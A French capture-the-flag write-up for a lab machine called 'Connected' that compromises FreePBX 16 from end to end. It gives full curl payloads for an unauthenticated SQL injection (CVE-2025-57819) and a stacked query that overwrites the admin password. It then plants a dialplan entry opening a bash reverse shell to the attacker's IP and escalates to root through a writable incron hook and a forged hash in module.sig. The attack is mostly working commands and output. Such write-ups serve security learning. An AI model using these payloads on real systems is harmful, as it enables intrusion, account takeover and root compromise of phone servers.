Connected
D'une injection SQL non authorsiée à un shell user via FreeBPX, jusqu'à l'exploitation de job incron pour être root.
Machine IP: 10.129.17.100
Attaquant IP: 10.10.14.39
Difficulté: Easy
Thème: SQLi (error-based injection), Asterisk, privilege escalation via incron jobs
Résumé de la chaîne d’exploitation
SQLi non authentifiée (brand parameter)
→ Extraction de données (ampusers, hash admin)
→ Stacked queries → UPDATE ampusers (accès admin web)
→ Config Edit → extensions_custom.conf → System() via Asterisk originate
→ Shell asterisk
→ Enumération (incron, sysadmin_manager, hooks)
→ Modification generate-pem + bypass GPG (module.sig)
→ Injection clé SSH dans /root/.ssh/authorized_keys
→ Root
1. Reconnaissance
Scan Nmap
nmap -sV -p 22,80,443 10.129.17.100
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
443/tcp open ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
Trois ports ouverts. Le port 22 et le serveur web tourne sur HTTP et HTTPS.
Identification de la cible
En naviguant sur https://10.129.17.100, on tombe sur le panneau d’administration FreePBX. La version est visible dans le footer de chaque page :

Version identifiée : FreePBX 16.0.40.7, cette version est affectée par la CVE-2025-57819, une injection SQL non authentifiée dans le module Endpoint Manager, permettant d’atteindre une exécution de code à distance.
2. Analyse de la vulnérabilité - CVE-2025-57819
Description
CVE-2025-57819 est une injection SQL non authentifiée dans le paramètre brand du handler AJAX du module Endpoint Manager de FreePBX. Le code PHP concatène directement ce paramètre dans une requête SQL sans préparation ni échappement source https://github.com/MuhammadWaseem29/SQL-Injection-and-RCE_CVE-2025-57819.
Endpoint vulnérable :
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
&command=model&template=x&model=model&brand=<PAYLOAD>
Ce point d’injection est accessible sans authentification, car le chemin du module contourne la vérification d’authentification du framework FreePBX.
Type d’injection
L’injection est de type error-based via la fonction MySQL EXTRACTVALUE(), qui génère une erreur XPATH contenant la valeur extraite. La limite de sortie est de 32 caractères par requête.
Les requêtes empilées (stacked queries) sont également supportées, permettant non seulement de lire les données mais aussi d’en écrire (INSERT/UPDATE).
3. Exploitation - Phase 1 : Extraction de données
3.1 Confirmation de la vulnérabilité
curl -i -k "https://10.129.17.100/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT+USER()),'~'))+--+"
Réponse :
{"error":{"type":"Exception","message":"SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~USER:freepbxuser@localhost~'"}}
L’utilisateur SQL est freepbxuser@localhost. La vulnérabilité est confirmée.
3.2 Énumération de la base de données
curl -i -k "https://10.129.17.100/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x%27+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+GROUP_CONCAT(schema_name)+FROM+information_schema.schemata),0x7e))--+"
Résultat :
{"error":{"type":"Exception","message":"SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~information_schema,asterisk,ast'::","file":"\/var\/www\/html\/admin\/libraries\/utility.functions.php","line":123}
la base principale est asterisk.
On va continuer et trouver d’autre information sur la structure de la base de données.
Tables identifiées : admin, ampusers, cron_jobs.
3.3 Extraction du hash admin depuis ampusers
curl -i -k "...brand=x%27+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+password_sha1+FROM+ampusers+WHERE+username=%27admin%27),0x7e))--+"
Résultat : ~05c689686a4fad5ce3ecc76e7ae5708b1fe2da43~
Hash SHA1 de 40 caractères récupéré. La tentative de cassage avec rockyou.txt via hashcat échoue.
3.4 Privileges SQL identifiés
Deux vérifications importantes :
LOAD_FILE()→ Permission denied (pas de privilège FILE)mysql.user→ Permission denied (accès restreint)
Ces limites ferment la voie du webshell via INTO OUTFILE directement et orientent vers l’exploitation applicative.
4. Exploitation - Phase 2 : Accès Admin via Stacked Queries
4.1 Confirmation des stacked queries
L’injection supporte les requêtes empilées (séparées par ;). Cela permet d’exécuter des INSERT/UPDATE en plus des SELECT.
4.2 Écrasement du mot de passe admin
On génère un SHA1 d’un mot de passe connu :
echo -n 'pwn123' | sha1sum
# 67a48e9ddd082443df033a4f96b333f997390ad0
curl -i -k "https://...&brand=x%27%3BUPDATE+ampusers+SET+password_sha1=%2767a48e9ddd082443df033a4f96b333f997390ad0%27+WHERE+username=%27admin%27--+"
4.3 Vérification de l’écriture
curl -i -k "...brand=x%27+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+password_sha1+FROM+ampusers+WHERE+username=0x61646d696e),0x7e))--+"
Résultat : ~67a48e9ddd082443df033a4f96b333f997390ad0~, l’UPDATE est confirmé.
5. Exploitation - Phase 3 : Accès au Panneau Admin
5.1 Connexion au panneau
On se connecte sur https://10.129.17.100/admin/ avec admin|pwn123.
5.2 Modules disponibles
Après avoir contourné le wizard, l’inventaire des modules montre :

Modules clés identifiés :
- Asterisk CLI 16.0.8 : interface CLI web
- Config Edit 16.0.5 : éditeur de fichiers de configuration Asterisk
- Backup & Restore 16.0.67
6. Exploitation - Phase 4 : RCE via Dialplan
6.1 Problème avec l’Asterisk CLI
Le module Asterisk CLI permet d’envoyer des commandes directement au moteur Asterisk. La commande core show version confirme que le CLI fonctionne :
Asterisk 20.17.0 built by mockbuild @ jenkins7 on x86_64 running Linux
Point difficile - La commande
!est filtrée : Dans l’Asterisk CLI interactif (asterisk -r), le préfixe!permet d’exécuter des commandes shell. Cependant, le module web filtre ce préfixe et retourne une sortie vide. Aucune des variantes testées ne fonctionne.![[ID_asterisk-cli.png]]
6.2 RCE via Config Edit et l’application System()
Approche alternative : Utiliser le module Config Edit pour injecter un contexte dialplan malveillant dans extensions_custom.conf, puis le déclencher depuis le CLI Asterisk via channel originate.
Le fichier extensions_custom.conf contient déjà des extensions :

[backup-system]
exten => 9999,1,noOp(Starting automated backup)
exten => 9999,2,System(/usr/local/bin/pbx-backup.sh)
...
On ajoute notre propre contexte :
[pwn]
exten => s,1,System(bash -c 'bash -i >& /dev/tcp/10.10.14.39/4445 0>&1')
same => n,Hangup()
Après avoir cliqué Apply Config (bouton rouge en haut du panneau), le dialplan est rechargé. On déclenche l’extension depuis le CLI Asterisk :
channel originate Local/s@pwn application Hangup

Avec un listener nc actif sur le port 4445, le reverse shell arrive.
7. Shell Utilisateur
nc -lvnp 4445
connect to [10.10.14.39] from (UNKNOWN) [10.129.18.166] 33332
[asterisk@connected tmp]$ id
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)
cat /home/asterisk/user.txt

On consolide l’accès via SSH en injectant notre clé publique :
mkdir -p /home/asterisk/.ssh
echo "ssh-rsa AAAA..." >> /home/asterisk/.ssh/authorized_keys
chmod 700 /home/asterisk/.ssh
chmod 600 /home/asterisk/.ssh/authorized_keys
ssh -i /tmp/htbkey [email protected]
8. Élévation de Privilèges
8.1 Enumération
sudo -l
# sudo: no tty present and no askpass program specified
# (nécessite un vrai TTY)
find / -perm -4000 2>/dev/null
# /usr/bin/crontab
# /usr/bin/incrontab
ps aux | grep -i cron
# incrd tourne en root (PID 745)
8.2 Découverte d’incron
cat /etc/incron.d/*
/var/spool/asterisk/sysadmin/vpnget IN_CLOSE_WRITE /usr/sbin/sysadmin_openvpn -d
...
/usr/local/asterisk/incron IN_CLOSE_WRITE /usr/bin/sysadmin_manager --local $#
/var/spool/asterisk/incron IN_MODIFY,IN_ATTRIB,IN_CLOSE_WRITE /usr/bin/sysadmin_manager $#
incron surveille des répertoires et exécute des commandes en root quand des fichiers y sont créés/modifiés.
Répertoire clé :
ls -la /var/spool/asterisk/incron/
# drwxrwxr-x. 2 asterisk asterisk - WRITABLE par asterisk
8.3 Analyse de sysadmin_manager
cat /usr/bin/sysadmin_manager
Le script PHP sysadmin_manager :
- Prend le nom du fichier créé comme paramètre (
$#en syntaxe incron) - Parse le nom selon le format
module_hooknameoumodule.hookname.CONTENTS - Vérifie la signature GPG du fichier
module.sigdu module - Vérifie que le hash SHA256 du hook correspond à celui dans
module.sig - Exécute le hook en root si tout est valide
Hooks disponibles :
find /var/www/html/admin/modules/ -path "*/hooks/*" -type f
# Nombreux hooks dans les modules sysadmin, firewall, backup, etc.
8.4 Identification du hook exploitable
# Propriétaire du hook generate-pem
ls -la /var/www/html/admin/modules/sysadmin/hooks/generate-pem
# -rwxr-xr-x. 1 asterisk asterisk 1444 - OWNED BY ASTERISK, WRITABLE
Le hook generate-pem est un script bash détenu par l’utilisateur asterisk et donc modifiable.
8.5 Problème - Vérification du hash GPG
Point difficile - Le mécanisme de vérification GPG :
sysadmin_managervérifie que le hash SHA256 du fichier hook correspond à la valeur stockée dansmodule.sig. Si on modifie le hook, le hash change et le script refuse d’exécuter le hook. C’est un système de sécurité conçu pour empêcher exactement ce type d’attaque.
grep generate-pem /var/www/html/admin/modules/sysadmin/module.sig
# hooks/generate-pem = 0c5963713527bf6524272a7346ced6103aed231fd26cb03fa1dc3cdfd00f877b
Solution : module.sig est également writable par asterisk !
ls -la /var/www/html/admin/modules/sysadmin/module.sig
# -rw-rw-r--. 1 asterisk asterisk 22130 - WRITABLE
module.sig est signé avec PGP (la signature globale du fichier est en haut), mais sysadmin_manager utilise une bibliothèque ioncube-encodée includes.php pour vérifier. En testant empiriquement, on constate que la vérification ne revalide pas la signature PGP globale du fichier, elle compare uniquement les hashes individuels dans [hashes]. On peut donc modifier le hash dans module.sig pour correspondre à notre version modifiée du hook.
8.6 Exploitation complète
Étape 1 - Modifier le hook generate-pem :
cat > /var/www/html/admin/modules/sysadmin/hooks/generate-pem << 'EOF'
#!/bin/bash
mkdir -p /root/.ssh
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys
EOF
Étape 2 - Calculer le nouveau hash SHA256 :
sha256sum /var/www/html/admin/modules/sysadmin/hooks/generate-pem
# 51d4774e9577f89a92fb1f71627cfe34baa03cd5d1c5f9dd8856e63970564f28
Étape 3 - Mettre à jour module.sig :
sed -i 's/0c5963713527bf6524272a7346ced6103aed231fd26cb03fa1dc3cdfd00f877b/51d4774e9577f89a92fb1f71627cfe34baa03cd5d1c5f9dd8856e63970564f28/'/var/www/html/admin/modules/sysadmin/module.sig
# Vérification
grep generate-pem /var/www/html/admin/modules/sysadmin/module.sig
# hooks/generate-pem = 51d4774e9577f89a92fb1f71627cfe34baa03cd5d1c5f9dd8856e63970564f28
Étape 4 - Déclencher via incron :
touch /var/spool/asterisk/incron/sysadmin_generate-pem
Incron détecte la création du fichier et exécute :
/usr/bin/sysadmin_manager sysadmin_generate-pem
sysadmin_manager parse le nom : module=sysadmin, hook=generate-pem. Il vérifie le hash dans module.sig (notre hash modifié correspond) → il exécute le hook en root.
Étape 5 - Connexion SSH en root :
ssh -i /tmp/htbkey [email protected]
[root@connected ~]# id
uid=0(root) gid=0(root) groups=0(root)
[root@connected ~]# cat /root/root.txt
9. Points difficiles et leçons apprises
La table cron_jobs ne fonctionne pas comme prévu
La table cron_jobs de FreePBX ne stocke pas des commandes shell brutes. Le champ command est interprété par la classe PHP correspondante (ex: FreePBX\modules\Sysadmin\Job\Dd), pas exécuté directement par le shell. Sans Apply Config pour synchroniser les jobs vers l’OS crontab, les modifications ne prennent pas effet.
INTO OUTFILE et permissions Apache
Même sans privilège FILE pour écrire arbitrairement, MySQL peut écrire dans les répertoires où l’utilisateur mysql a accès (typiquement les répertoires du webroot appartenant à asterisk/apache). Cependant, Apache peut bloquer l’exécution PHP dans certains sous-répertoires via .htaccess ou la configuration principale, c’est le cas pour tout le répertoire /admin/ sur FreePBX qui utilise un front controller.
Le hook addpubkey et le mode fopen
Le hook filestore/hooks/addpubkey ouvre /root/.ssh/authorized_keys en mode r+ (lecture+écriture, fichier doit exister). Si le fichier n’existe pas, fopen retourne false silencieusement et le hook ne fait rien.
Solution : Modifier le mode en a (append, crée si inexistant), mais cela requiert que le hook passe la vérification de hash, ce qui nous amène à la solution du module generate-pem.
Bypass de la vérification GPG
Le mécanisme de sécurité de sysadmin_manager semble robuste (GPG + hash SHA256), mais présente une faille de conception : module.sig est accessible en écriture par l’utilisateur asterisk. Bien que la signature PGP globale du fichier soit invalide après modification, la bibliothèque de vérification ne revalide pas cette signature.
Elle compare uniquement les hashes individuels dans la section [hashes]. Un attaquant contrôlant l’utilisateur asterisk peut donc modifier à la fois le hook et son hash de référence.
Pablo - Kyllian Van Goidsenhoven